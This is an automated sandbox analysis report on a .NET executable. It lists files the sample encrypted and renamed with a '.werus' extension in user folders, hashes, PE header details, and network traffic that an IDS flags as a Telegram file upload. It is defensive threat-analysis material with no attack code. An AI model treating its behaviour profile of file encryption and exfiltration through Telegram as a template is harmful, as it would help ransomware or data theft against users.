SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Downloads\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Downloads\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Downloads\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	7.152168881739973
Encrypted:	false
SSDEEP:	6:wXaiw1hLi4fFp/rndfDF/CGBab0huA/tP808OmIe2LO52MF1IcfoUXbE3M:wXaiJm1ndrFJBab00A/K08OTe2Ffcfou
MD5:	548A862C74A097EFF918BD8D8573811D
SHA1:	06AA419DD26D64AABB91A24978D497EB402DFA36
SHA-256:	ABE3C4C9BBB22068E14F7F3FEBC1A14F6DC114593D021C32259C0964605D1B37
SHA-512:	E40752D07E3058AC07B30EB209F1EDD68AE4EBDF66042E17FD03256292B3FCC103B561042B9A3A03C2AF36B33449E9BD4F037883A96C6236464D351AB621DC84
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En....k...R.....\|.c......E?......M..'........M.}.+#..^.. t.n.WY'@..w..,,....".....'..H.A..DpWY..=..!.......!d...4..G.6...7;.C....

C:\Users\user\Music\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.539890395808497
Encrypted:	false
SSDEEP:	12:wXaiJm1ndrFJBab00A/K08ayMq8mRazE28wDa8VDWIr4OKJf0XPNiw4:gai811BQ0BkJk2h90X0w4
MD5:	99C170BA3B4985F03266F967D53E84CB
SHA1:	112D46FABE44E598904A870843F1EA1DF5189574
SHA-256:	55A1507CAF20655FD1C46DC4074B09FA78A70F572AA24A2315DACEB53DE44C98
SHA-512:	142B1C873043FEB632BAEDA78397C353EBF8B8333F9CDC52B8B34ADB62856FE3D3CC6F074B447728570618CCA3F0DCD54843D99F6E7D0C6DA4CE83E469E428B5
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En.......Y.^.N"d..c.Og`zP...al48...R4.J.@.H.w....&y..0..h.:..Q..8@M..{qp..%Eb.L.e......-iy.x."F..D4Ix..aH...F.b.;..e..~......O.R!.8[.../4 k.@..`. U......_..?".j{s.Z6....{.0"..f..V,g._..J....b\|gIz:QK`D)`1..d..<.....Mk8?.....+. .g........K.Z..D.&c...LM.}....o..N...-.o.u...o..Z.].G_.....;..Y9....8$.g.{au..j\....[....h.4vS"..X..oO.b..a........cJ".f

C:\Users\user\Music\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.546699355694989
Encrypted:	false
SSDEEP:	12:cM+gLmL44FqCsY2x/D2yrdex/tge5CIjsXsVprRnRj:vnSLzsYIDE5tge7jsKl1
MD5:	AD366FE6CCF912CF9AB40C6EC5712D9B
SHA1:	D1E52B2574C668C9C1E6D654FA79F07354CFC2AA
SHA-256:	DACE887546120B302C80B164D57669381C11150617EC8A3F0294794E5D1DB57F
SHA-512:	A425E7E1CDD332A84151B89E7EEEC6AFD6B8D8BB7B1CE4922D13178BB5A8385F45EB863C532EC9F141FE67BB6D566E24605EF88FEF113C93417BCA73D9D2ED62
Malicious:	false
Preview:	......(.~.E..U.......b...LK.t.c......N.._....b...............:.......I.....:.I....I."...M...$a.2{Q....;..M...i.MiW.....";....L>..P.P....j.h........C.:y.8$.o.M......P... ..V.".f8..[.5w...l..Q..{h>...:..T...W.#KEI.jH.I.9.....+.>..(....slt5<..c.&}j..Y.U....pK..n......w..a.w.,twpsQ.h.}o..x6#V....qa..II.,\|.R-.<.!....A..kIiV]e....I.9...'7..%&6..h..c9..\|..t...D....C........&....].E..x...:y.e.K....{...9...h....k.F#..&.P....>.Fu...Wv....P.e.2^....Y.....,.....\|p.6...KYYE....A..eY....=.c3......&..4.da...'-.

C:\Users\user\Pictures\Camera Roll\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	6.907155388807536
Encrypted:	false
SSDEEP:	3:wCozOsjol1hLRQXzggufFpA87W89Zdf4vcjFJytQTzzmyVBmRb8lh3aiTIQPBqoG:wXaiw1hLi4fFp/rndfDF/CGBab0h/kQg
MD5:	8AA206FB5D3BD0CB5DFD863101726B3D
SHA1:	8010F5F0453D068A3053A64C611B7D8025AB6D65
SHA-256:	B72356EB9A7D1C25448F3F7526DC8B298F914027C872EA9F0342B2F0130B1BC4
SHA-512:	3BB4B9176D0AD4EE7C156ABE07D6A89EAF1DE6CA64C4C90355A61752DB3007ACD49E5B8B2692043B8959E83C4554EDA1D846FA1C0B890872DF465F564B50D3F6
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!..0..s...-R;7..$ #....x...DgH....C.%ER...<'.2?.h5]......d..

C:\Users\user\Pictures\Camera Roll\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	6.940156230220809
Encrypted:	false
SSDEEP:	6:cNYX+WTfUqz/mLZiRvE91fgkjC+O2/ppduz2Jc:cM+gLmL44fgkjC+OSuz2Jc
MD5:	62794B9C6AE1AAC4B160C197E6558BA3
SHA1:	1CC1BA4CF1CFB3208EE1511B3FBCFD698BF848F7
SHA-256:	19BCA73AAAC93117AB912144D3DBCD0CA45FB4F626C640C3AA93EC1D60F2C4B9
SHA-512:	19822CC3E94CFDB17DE8C9299E4EA43FC60ED0D9B8F43E8FD8AEC565B90E38575AA9918F660AF2BAE650AF2F629C7CB457356FA3560B1DF36F718CBA0ACAC86B
Malicious:	false
Preview:	......(.~.E..U.......b...LK.t.c......N.._....b...............:..*.....I.....:.I....I."...M...$a.2{Q....;..M...i.MiW.....";.........O.'#0.Dh.2...H...V........}x..M..O.b.w#..d....f..b........m....U...b

C:\Users\user\Pictures\Saved Pictures\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	6.9006704278813045
Encrypted:	false
SSDEEP:	3:wCozOsjol1hLRQXzggufFpA87W89Zdf4vcjFJytQTzzmyVBmRb8lh3aiTIQPBqoU:wXaiw1hLi4fFp/rndfDF/CGBab0h/kQa
MD5:	557D1B613B066D43D20B0CB6B086303E
SHA1:	6843571F5DF8BA5F308C06278CE062632AA830B7
SHA-256:	D90211B0F2A2236232417B79D1FCF741F15E52ADC6A0C2BAAD69E3E964723A47
SHA-512:	9B67714EB463479D123102D585E04A34BA36E1CE5A12BB5101525748983929B7637559DAD2275936582C3F67D89165E63549D7F84A473684DA9A928FD947FA88
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!..0..s...-R;7..$ #....x...DgH....C.%ER...<'...y._....9k.rR[

C:\Users\user\Pictures\Saved Pictures\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	6.985084008912858
Encrypted:	false
SSDEEP:	6:cNYX+WTfUqz/mLZiRvE91fgkjC+O2/p3s4ETh0:cM+gLmL44fgkjC+OjF0
MD5:	EA0B9D21BACA881F13B8D9AA78E831C2
SHA1:	7798144C3612F2D59140B746E78803B78F147F2A
SHA-256:	B9839E9CD9B783A1B0095402D9674E8EA2A33ADB207BAE6285BA0FAB01E1E314
SHA-512:	1774FB727A84F9336B26D6C2E51250DE7490E83977E145CDDCCC6789197B374C1D26A7816AA7D62A464AC9F9040631EAF1011970B50824BA8F68813D8EBDAC21
Malicious:	false
Preview:	......(.~.E..U.......b...LK.t.c......N.._....b...............:..*.....I.....:.I....I."...M...$a.2{Q....;..M...i.MiW.....";.........O.'#0.Dh.2...H...V........}x..M..O.b.w#..6,.H..ws.......9!..^'....@."

C:\Users\user\Pictures\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.599436257201102
Encrypted:	false
SSDEEP:	12:wXaiJm1ndrFJBab00A/K08kcQ3vfU3U3ZhGVE+s/DvWUmnnUH7B3PHkYiT:gai811BQ0B7Ek/G+/bW5nUHNPEYiT
MD5:	7A329604CD182F657CC1C94CA872A4FD
SHA1:	497E02E1E659FAEF1055F8CDE8692FA04F38AFE4
SHA-256:	78C9C3B89893A49CE31A6D52EF97D9C77F62214CCCC841DBDFF271D1F8CD121D
SHA-512:	E543A66DA57E54D413FB28D782CBCD027FAE5544AF0B287E43A8D34AAD79E3633FEB056B814DA8E083CA5D7481C3DCE0A7A4DA4AA4CA84920D9C4E39D91B24A5
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En.....b.=...w..tz...T..2....0...].zS\......V.m.B........$........P..v.~FZ. ..lA...........I.k..y..._Tp]...7..V<.p..5C.?.e.;.tB.4.Kp(.....6..SX.&V...y!"V_..l ~%{y.=.7../.....F+.17.E....1g.n.w...[.H...Pk9..S.`{.A......F.......}57.O......T0K...o.`....K.}O.....&..Lj......C....C(....u....q......*VvK.......A...M../2L...dW.S.....+....RB3..N.....

C:\Users\user\Pictures\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.589794688684104
Encrypted:	false
SSDEEP:	12:cM+gLmL44FqKumDX/5c2J7mygs7RPlIaTLkbJQIN:vnSLdumj/5c6zgWRPlIokOIN
MD5:	B5473158AD2DAE466AE14C8D9BFAD2F7
SHA1:	DC51CA36A6D62FB352BA49DF729D3DC616E1FB5A
SHA-256:	36924453C01B8F8E50DCB1FD17A8FA2900ED90E7C0A8364198709A3575ADE7A8
SHA-512:	8D6106C91ABB373B2B2CED3701EF6099E6AFF77F712C3C636B6610A51E157BDB9D4AED25FB01927B53EBDDDDAE45B562A5CAA73603AE013BAC59D2853E2E4BCB
Malicious:	false
Preview:	......(.~.E..U.......b...LK.t.c......N.._....b...............:.......I.....:.I....I."...M...$a.2{Q....;..M...i.MiW.....";....L>..P.P....j.h........C.:y.8$c.......k...S..m:...V.f.0..O..a.e]..q.,f.b....y2w...k9.'.=]...w5..>.A......{X...~/.~..Y....e2%A@.h....?....5B..b.j.>.........#..b<...Y.E..j.v.7.i...N...r..Q..?.?.}..0..mJ..by.....&w_.m..0.+.z.lh.Nb:.Y.uQ.=#'........4.#:9.K.`.....z....\|Z..d...HR..i..@_.hT4..w.h......#...Z..%..........6.ww.F.J....P.T.....G.<.+..l.Ba.O`.h.`=.tb.......l[..Jo7G.w]

C:\Users\user\Videos\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.573622708399902
Encrypted:	false
SSDEEP:	12:wXaiJm1ndrFJBab00A/K08GcdUaqij2xREjbSFCWBGVsiy8Bj7:gai811BQ0BWdfqHRCussiyCP
MD5:	389F7E4C3C9AA42F09D8EFEB7C61B67E
SHA1:	8E57FF42145910FA46F74C9D401B1459A16AD035
SHA-256:	84378D4D90CB505D4CDAF6E8103B73F1B01CFC38D24D597C80DF382458121FBF
SHA-512:	4D6CD0AFCC76D27BAF610DAE53D07B991954FF8F38DB87DE05E97569AD5AD7F74F5F199432C28B111DFA382BBBAE58E38813C820D04E50EDD02BED66C0B5B213
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En.......*.:M..1I....,.T..KN.....(b......(....Z0o\.=..8N-y{7.2j.Z7q8..(g.....bm...h~}..;.R......O..^.....5.}.s......~.......S...X....s...H^...t(..p.E.2X..`I3@.Q.$B..l.2...;..R.e......Y\|..`.!.b.....f.$0\.......V>z..k.Yct.6a.J..7k..G.......K....By...Y.o.d..R..F`..q.K,k1.,.w..nD.i..I.L..r_.k.s...~?.w....S..^.KYwf/4e.%..$M:._..DcOH@..=....t..l

C:\Users\user\Videos\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.566689137660962
Encrypted:	false
SSDEEP:	12:cM+gLmL44FqMJvmJG5xZRZSiKc0rQkzfs9ZPu/z:vnSLPvmJi7ovxAvPa
MD5:	09010B5C67222D1B4D56C5A790B736B2
SHA1:	FD5F51C0D2AFFA4A7DFCA9B15D38DA6DCCD6E9B8
SHA-256:	5F084FD8C6AA716FDA332DBD513F7C61B5C558FA0FC9B71F7F7D84839BDF5E00
SHA-512:	3F23D6503A517C4C681C92D0F196AFD6A815D617DDD8A541C6DF952DA95E8A5B2D174F5D0F299DDCD3CC50B0F877601CBC43DCC7DF4D8B95F2ECE347F5DCEEB4
Malicious:	false
Preview:	......(.~.E..U.......b...LK.t.c......N.._....b...............:.......I.....:.I....I."...M...$a.2{Q....;..M...i.MiW.....";....L>..P.P....j.h........C.:y.8$Sy5..q.._..T..G..z...2....8.N.]...ac.L.................O..^K.B...1.2'. .j..s..0.....M5f.s...1pcR\.t....K0...Z.%.@.wFZ...R"..k..)W.Tm.f......._....Qk.......;.......`.6._e.k..Z(W...i.)...vV.\=.m.4...b..'....!..6.Z...s>6.."e... Qt;].a....C4..$.]..ja...i"`..f.2.....+.5.u.....o.Y..!..a."...B...$t.\|...px.A.X.n.Hcy...o.....N#8G.O......z7#$J....f..........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.366753158427188
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	aASfOObWpW.exe
File size:	17'920 bytes
MD5:	0e1cbce00abf322c5e98afb2e6c46998
SHA1:	6b8da7d766f60543b56c51c71e942a3f61c74cf2
SHA256:	e17bfe60dea579699f67bd70e7e49aba582f5ff2337ca38d78dba650edd5ba3d
SHA512:	84a3affe519ee98529d0a83c320457fb575d9dbe39a8ec9b215a2a6cffc0140b3f1bfce85f529632a05d39fac5acaa227ea508661e73d2513ea44a7dfcbbaf0f
SSDEEP:	384:Rb6E0oXQ0uZ9QuxdMhNLfDLTRFPB31PQQBLRLyEWVdbrlHswr9p:ROG/ujWvXD71F8vlHpr9p
TLSH:	59823B1CB3F8872AE57E0B799D7292510F31B527E822FB0E6AC8654E1D93B8045613B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....y..........."...0..<...........Z... ...`....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x405aaa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xC3791C1C [Sun Dec 3 02:36:12 2073 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a55	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x5ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x59a8	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3ab0	0x3c00	8002b4e7eef94a088f3aa259676663ef	False	0.521484375	data	5.611028129038418	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x5ec	0x600	7c92bdff2cd9e728dcc648e7b2b68328	False	0.4251302083333333	data	4.191085287380211	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	48435835bd8afa577e21fe288474965c	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x6090	0x35c	data			0.4116279069767442
RT_MANIFEST	0x63fc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T16:38:03.628445+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	49706	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 16:38:02.328939915 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:02.328979015 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:02.329052925 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:02.349900961 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:02.349936008 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:02.982651949 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:02.982724905 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.031821966 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.031841040 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.032219887 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.088257074 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.457575083 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.499330997 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.628434896 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.663940907 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.663955927 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.665007114 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.665011883 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.665096045 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.665098906 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.665170908 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.665174007 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.665210009 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.665214062 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.665256977 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.665260077 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.665680885 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.665683985 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:03.666254044 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:03.666258097 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:04.023437023 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:04.023535013 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:38:04.023586035 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:38:04.030467033 CET	49706	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 16:38:02.304816008 CET	64984	53	192.168.2.5	1.1.1.1
